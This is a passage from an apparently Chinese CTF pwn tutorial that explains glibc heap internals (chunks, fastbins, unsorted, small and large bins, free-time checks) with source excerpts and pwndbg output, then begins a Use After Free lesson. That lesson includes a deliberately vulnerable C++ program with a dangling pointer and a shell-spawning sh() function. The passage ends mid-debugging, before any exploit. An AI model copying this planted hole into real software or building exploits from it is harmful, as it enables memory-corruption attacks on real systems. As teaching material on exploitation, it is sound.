    • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd,bk

    chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下

    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize

    也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。

    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

Allocated chunk

一个已经分配的chunk以及后一块chunk状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Freed chunk

被释放的 chunk 被记录在链表中,可能是循环双向链表,也可能是单向链表,状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

malloc大小计算

对于正在使用的 chunk,它的下一个 chunk 的 prev_size 是无效的,这块内存也可以被当前 chunk 使用,这也就存在了空间的复用,因此对于使用中的 chunk 大小计算公式是:chunk_size = (用户请求大小 + (2 -1) * sizeof(INTERNAL_SIZE_T)) aligh to 2 * sizeof(size_t)

比如我们在64位系统中

1
2
malloc(8)
// 申请到的chunk: 16 + 8 + 8 + 1 = 0x21
  1. 第一个 16 字节是系统最小分配的内存,也就是说你如果想要申请的内存小于系统最小分配的内存的话,就会按照最小的内存来分配,在 64 位系统中这个值是 16 个字节,在 32 位系统中是 8 个字节,如果代码中是 malloc(0) 的话,堆管理器也会分配最小内存空间给你
  2. 第二个 8 字节是 pre size 字段的大小(32 位的为 4 字节)
  3. 第三个 8 字节为 size 字段的大小(32 位的为 4 字节)
  4. 最后一个 1 字节是 PREV_INUSE 的值,只有 0 或 1两个值

lab

为了搞清楚堆的结构我们首先做一个实验,构造如下代码

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <string.h>

int main(){
char *p;
p = malloc(10);
memcpy(p,"aaaaa",5);
free(p);
return 0;
}

程序先用malloc函数申请了一块内存,然后向内存中拷贝了5个a,最后释放了这块内存,我们在gdb中观察堆的结构,我们首先运行到malloc函数,用vmmap观察内存布局,这里没有生成堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555754000 0x555555755000 r--p 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555755000 0x555555756000 rw-p 1000 1000 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7bcf000 0x7ffff7dcf000 ---p 200000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dcf000 0x7ffff7dd3000 r--p 4000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd3000 0x7ffff7dd5000 rw-p 2000 199000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd5000 0x7ffff7dd9000 rw-p 4000 0
0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7fd6000 0x7ffff7fd8000 rw-p 2000 0
0x7ffff7ff4000 0x7ffff7ff7000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 23000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 24000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

我们单步一下,观察malloc函数之后的返回值,即rax中保存的值,也就是指向我们chunk的地址,需要注意的是这里malloc函数返回的指针指向的是我们chunk中的user data(用户数据区),我们继续用vmmap观察内存布局,此时已经可以看到我们申请的heap区,然而系统却给了我们大小0x555555777000 - 0x555555756000 = 21000‬的空间,这并不是系统在浪费资源,这是一种提高效率的做法,在下一次我们申请内存的时候就从这块内存里直接取,当这一块内存不足的时候才会向系统索取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555754000 0x555555755000 r--p 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555755000 0x555555756000 rw-p 1000 1000 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555756000 0x555555777000 rw-p 21000 0 [heap] => 我们申请的chunk
0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7bcf000 0x7ffff7dcf000 ---p 200000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dcf000 0x7ffff7dd3000 r--p 4000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd3000 0x7ffff7dd5000 rw-p 2000 199000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd5000 0x7ffff7dd9000 rw-p 4000 0
0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7fd6000 0x7ffff7fd8000 rw-p 2000 0
0x7ffff7ff4000 0x7ffff7ff7000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 23000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 24000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

我们用x/20gx rax查看一下我们刚才申请堆的样子,0x5555557560000x555555756010这两排既是我们申请的堆,size是0x20 + 1 = 0x21

1
2
3
4
5
6
pwndbg> x/10gx 0x555555756010-32
0x555555755ff0: 0x0000000000000000 0x0000000000000000
0x555555756000: 0x0000000000000000 0x0000000000000021
0x555555756010: 0x0000000000000000 0x0000000000000000
0x555555756020: 0x0000000000000000 0x0000000000020fe1
0x555555756030: 0x0000000000000000 0x0000000000000000

我们继续运行程序到memcpy函数的下一行观察我们的堆,很明显我们将aaaaa写入了我们的user data中

1
2
3
4
5
6
pwndbg> x/10gx 0x555555756010-32
0x555555755ff0: 0x0000000000000000 0x0000000000000000
0x555555756000: 0x0000000000000000 0x0000000000000021
0x555555756010: 0x0000006161616161 0x0000000000000000
0x555555756020: 0x0000000000000000 0x0000000000020fe1
0x555555756030: 0x0000000000000000 0x0000000000000000

我们继续运行将其释放掉,观察user data的区域已经被清空了

1
2
3
4
5
6
pwndbg> x/10gx 0x555555756010-32
0x555555755ff0: 0x0000000000000000 0x0000000000000000
0x555555756000: 0x0000000000000000 0x0000000000000021
0x555555756010: 0x0000000000000000 0x0000000000000000
0x555555756020: 0x0000000000000000 0x0000000000020fe1
0x555555756030: 0x0000000000000000 0x0000000000000000

然而并不只是清空那么简单,系统还将把这块内存交给堆管理系统中去,方便下一次申请操作,这里我们用x/10gx &main_arena命令发现我们的堆已经连到了main_arena + 0x8中,并且连接的是堆的头部

1
2
3
4
5
6
pwndbg> x/10gx &main_arena
0x7ffff7dd3b00 <main_arena>: 0x0000000000000000 0x0000555555756000
0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000

所以我们可以总结一下free函数

  • 清空user data的数据
  • 将此chunk放入堆管理器中

main_arena

main_arena 就是 ptmalloc2 堆管理器通过与操作系统内核进行交互申请到的,也就是我们一开始申请到的那么一大块内存,因为是主线程分配的,所以叫 main_arena

Top chunk

如果你细心的话你可能会观察到,在刚才我们申请chunk的下面始终有 0x20fe1 大小的chunk,这一块chunk非常大,程序以后分配到的内存到要放在他的后面,它的作用就是在程序在向堆管理器申请内存时,没有合适的内存空间可以分配时,此时就会从 top chunk 上借一部分作为 chunk 分配给它

Last Remainder Chunk

这是最近一次 small chunk 请求而产生分割后剩下的那一块 chunk,当在 small bins 和 unsorted bin 中找不到合适的 chunk时,如果 last remainder chunk 的大小大于用户请求的大小,则将其分割,返回用户所需 chunk 后,剩下的成为新的 last remainder chunk。

malloc & free

malloc根据用户申请堆块的大小不同做出不同的处理。最常用的是fastbin和chunk。malloc分配时的整体顺序是如果堆块较小,属于fastbin,则在fastbin list里寻找到一个恰当大小的堆块;如果其大小属于normal chunk,则在normal bins里面(unsort,small,large)寻找一个恰当的堆块。如果这些bins都为空或没有分配成功,则从top chunk指向的区域分配堆块。

bins

libc的堆管理机制和其他的堆管理一样,对于free的堆块,堆管理器不会立即把释放的内存还给系统,而是自己保存起来,以便下次分配使用。这样可以减少和系统内核的交互次数,提高效率。Libc中保存释放的内存的地点就是bin。bin是一个个指针,指向一个个链表(双向&单向),除了 fastbin 是 LIFO 单链表的数组维护,其余的bins都是 FIFO 双向链表维护,这些链表就由释放的内存组成,下面是bins的具体分类:

  • Fast bin
  • Unsorted bin
  • Small bin
  • Large bin

Fast bin

特点:

  • 大小较小
  • 单向链表维护
  • 不会和其他的堆块融合(PREV_INUSE始终为1)
  • LIFO(类似栈)

引用一张图片,fastbin一共有10个单项列表,下图是32位系统下的分布,当分配一块较小的内存(memory<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。也就是说,fastbin list只用了前7个进行维护

1567869962341

malloc (fast chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb); // 找到nb 对应的 fastbin 的 索引 idx
mfastbinptr *fb = &fastbin (av, idx);// 找到对应的 fastbin 的指针
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0) //如果 fastbin 非空,就进入这里
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))// 判断大小是否满足 fastbin相应bin的大小要求
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

在初始化时 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的,所以即使用户申请了一个 fast chunk,它也不会交由 fast bin 来处理,而是向下传递交由 small bin 来处理,如果 small bin 也为空的话就交给 unsorted bin 来处理。

那么 fast bin 是在哪?怎么进行初始化的呢?当我们第一次调用 malloc (fast chunk) 的时候,系统执行 _int_malloc 函数,该函数首先会发现当前 fast bin 为空,就转交给 small bin 处理,进而又发现 small bin 也为空,就调用 malloc_consolidate 函数对 malloc_state 结构体进行初始化, malloc_consolidate 函数主要完成以下几个功能:

  1. 首先判断当前 malloc_state 结构体中的 fast bin 是否为空,如果为空就说明整个 malloc_state 都没有完成初始化, 需要对 malloc_state 进行初始化。
  2. malloc_state 的初始化操作由函数 malloc_init_state(msate av) 完成,该函数先初始化除 fast bin 之外的所有 bins (构建双链表),再初始化 fast bins。

之后当 fast bin 中的相关数据不为空了,就开始使用 fast bin。

得到第一个来自于 fast bin 的 chunk 之后,系统就将该 chunk 从对应的 fast bin 中移除,并将其地址返回给用户。

free (fast chunk)

先通过 chunksize 函数根据传入的地址指针对应的 chunk 的大小,然后根据这个 chunk 的大小获取该 chunk 所属的 fast bin,然后再将此 chunk 添加到该 fast bin 的链尾。

3

Unsorted bin

除了fastbin以外,堆块释放后堆块会被放到malloc_state结构的bins数组中,分布如下

1
2
3
4
Bin[0] -> 不存在
Bin[1] –> Unsorted bin
Bin[2] to Bin[63] –> Small bin
Bin[64] to Bin[126] –> Large bin

特点:

  • 大小不一
  • 双向链表维护
  • FIFO

当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,堆管理器就会考虑使用 Unsorted bin 。它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。Unsoted bin 是一个由 free chunks 组成的循环双向链表。在 Unsorted bin 中,对 chunk 的大小没有限制,任何大小的 chunk 都可以归属到 Unsorted bin 中。

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 遍历 unsorted bin
{
bck = victim->bk;
size = chunksize (victim);

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

Small bin

特点:

  • 大小中等
  • 双向链表维护
  • FIFO
  • 相邻 free chunk 会合并

如果程序请求的内存范围不在 fast bin 的范围内,就会考虑small bin。简单点说就是大于 80 Bytes 小于某一个值时,就会选择他。32 位系统下小于512字节的 chunk,64位系统下小于1024字节,small bin 就是用于管理 small chunk 的。就内存分配和释放的速度而言,small bin 比 larger bin 快,但比 fast bin 慢。

malloc(small chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);// 找到 smallbin 索引
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) // 判断 bin 中是不是有 chunk
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)) // 链表检查
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb); //设置下一个chunk的 in_use 位
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

/*
大内存分配,进入 malloc_consolidate
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

最初所有的 small bin 都是空的,因此在对这些 small bin 完成初始化之前,即使用户请求的内存大小属于 small chunk 也不会交由 small bin 进行处理,而是交由 unsorted bin 处理,如果 unsorted bin 也不能处理的话,glibc 就以此遍历后续的所有 bins,找出第一个满足要求的 bin,如果所有的 bin 都不满足的话,就转而使用 top chunk,如果 top chunk大小不够,那么就扩充 top chunk,这样就一定能满足需求了。

在第一次调用 malloc 时,初始 malloc_state 的时候对 small bin 和 large bin 进行初始化,bin 的指针指向自己表明为空。(malloc.c # 1808)

之后,当再次调用 malloc(small chunk) 的时候,如果该 chunk size 对应的 small bin 不为空,就从该 small bin 链表中取得 small chunk,否则就需要交给 unsorted bin 及之后的逻辑来处理了。

free(small chunk)

当释放 small chunk 时,检查它前一个或后一个 chunk 是否空闲,如果是,则合并到一起:将其从 bin 中移除,合并成新的 chunk,最后将新的 chunk 添加到 unsorted bin 中。

Large bin

特点:

  • 大小较大
  • 双向链表维护
  • FIFO
  • 相邻 free chunk 会合并
  • free chunk 多两个位fd_nexitsize,bk_nextsize 指向前一块和后一块 large bin

32位系统下大于等于512字节,64位系统下大于等于1024字节的 chunk 称为 large chunk,large bin 就是用于管理这些 large chunk 的。large bin中不再是每个 bin 中的 chunk 大小都固定,每个 bin 中存放着该范围内不同大小的 bin 并在存的过程中进行排序用来加快检索的速度,大的 chunk 放在前面,小的放在后面

malloc(large chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

初始时全部的 large bins 都为空,即使用户申请了一个 large chunk,不是给 large bin 进行处理,而是交由 next largest bin (to do) 进行处理,初始化操作与 small bin 一致。

之后当用户再次请求一个 large bin时,首先确定用户请求的大小属于哪一个 large bin,然后判断该 large bin 中最大的 chunk 的大小是否大于用户请求的大小。

如果大于,就从尾部到头部遍历该 large bin,找到一个大小相等或接近的 chunk 返回给用户。如果该 chunk 大于用户请求的大小的话,就将该 chunk 拆分为两个 chunk:前者返回给用户,且大小等同于用户请求的大小,剩余的部分作为一个新的 chunk 添加到 unsorted bin 中。

如果该 large bin 中最大的 chunk 小于用户请求的大小,那么就依次查看后续不为空的 large bin 中是否有满足需求的 chunk,如果找到合适的,切割之后返回给用户。如果没有找到,尝试交由 top chunk 处理。

free(large chunk)

当释放 large chunk 时,检查它前一个或后一个 chunk 是否空闲,如果是,则合并到一起:将其从 bin 中移除,合并成新的 chunk,最后将新的 chunk 添加到 unsorted bin 中。

4

检查机制

free check

free之前的检查

  • 指针是否对齐
  • 块的大小是否对齐,且大于最小的大小
  • 块是否在 inuse 状态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
size = chunksize (p);

//检查指针是否正常,对齐
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}

// 检查 size 是否 >= MINSIZE ,且是否对齐
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}

// 检查 chunk 是否处于 inuse 状态
check_inuse_chunk(av, p);

Check In Glbc

函数名 检查 报错信息
unlink p->size == nextchunk->pre_size corrupted size vs prev_size
unlink p->fd->bk == p 且 p->bk->fd == p corrupted double-linked list
_int_malloc 当从fastbin分配内存时 ,找到的那个fastbin chunk的size要等于其位于的fastbin 的大小,比如在0x20的 fastbin中其大小就要为0x20 malloc():memory corruption (fast)
_int_malloc 当从 smallbin 分配 chunk( victim) 时, 要求 victim->bk->fd == victim malloc(): smallbin double linked list corrupted
_int_malloc 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,cur->size 在 [2*SIZE_SZ, av->system_mem] 中 malloc(): memory corruption
_int_free 当插入一个 chunk 到 fastbin时,判断fastbin的 head 是不是和 释放的 chunk 相等 double free or corruption (fasttop)
_int_free 判断 next_chunk->pre_inuse == 1 double free or corruption (!prev)

Reference

1
2
3
4
5
[+] Source Code of malloc.c        : https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
[+] CTF pwn 中最通俗易懂的堆入坑指南 : https://www.anquanke.com/post/id/163971#h2-1
[+] Libc堆管理机制及漏洞利用技术 : https://www.freebuf.com/articles/system/91527.html
[+] glibc heap analysis : https://0x3f97.github.io/heap-exploitation/2017/12/06/glibc-heap-analysis/
[+] glibc heap pwn notes : https://xz.aliyun.com/t/2307

Use After Free

漏洞介绍

Glibc Heap 利用中,Use After Free(UAF)是很常见的一种,那么什么是UAF呢?

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

Example One

首先创建一个UAF.cpp,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include<cstdio>
#include<cstdlib>
#include<cstring>

class A
{
public:
virtual void print()
{
puts("class A");
}
};

class B: public A
{
public:
void print()
{
puts("class B");
}
};

void sh()
{
system("sh");
}

char buf[1024];

int main()
{
setvbuf(stdout,0,_IONBF,0);
A *p = new B();
delete p; //删除堆p
fgets(buf,sizeof(buf),stdin);
char *q = strdup(buf);

p->print(); //继续使用p,触发漏洞,程序会报错
return 0;
}

编译:

1
g++ use_after_free.cpp -o use_after_free -g -w -no-pie

运行结果:

1
2
3
root@Thunder_J-virtual-machine:~/桌面# ./UAF
aaaa
段错误 (核心已转储)

为什么错误呢?原因很简单,我们之前已经释放过p了,现在又来调用当然会错误,现在我们动态调试一下。
首先我们需要在main函数下个断点,然后单步观察

1
2
pwndbg> b main
Breakpoint 1 at 0x400863: file UAF.cpp, line 32.

我们运行到delete p的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> n
34 delete p; //删除堆p
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RBX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RCX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RDX 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RDI 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RSI 0x0
R8 0x7ffff7a488c0 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x0
R10 0x602010 ◂— 0x0
R11 0x0
R12 0x400760 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RIP 0x4008a1 (main+71) ◂— mov rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4008a1 <main+71> mov rax, qword ptr [rbp - 0x20]
0x4008a5 <main+75> mov esi, 8
0x4008aa <main+80> mov rdi, rax
0x4008ad <main+83> call 0x400720

0x4008b2 <main+88> mov rax, qword ptr [rip + 0x2007b7] <0x601070>
0x4008b9 <main+95> mov rdx, rax
0x4008bc <main+98> mov esi, 0x400
0x4008c1 <main+103> lea rdi, [rip + 0x2007b8] <0x601080>
0x4008c8 <main+110> call fgets@plt <0x400740>

0x4008cd <main+115> lea rdi, [rip + 0x2007ac] <0x601080>
0x4008d4 <main+122> call strdup@plt <0x400750>
─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/Thunder_J/桌面/UAF.cpp
29
30 int main()
31 {
32 setvbuf(stdout,0,_IONBF,0);
33 A *p = new B();
► 34 delete p; //删除堆p
35 fgets(buf,sizeof(buf),stdin);
36 char *q = strdup(buf);
37
38 p->print(); //继续使用p,触发漏洞,程序会报错
39 return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
01:0008│ 0x7fffffffdfe8 —▸ 0x400760 (_start) ◂— xor ebp, ebp
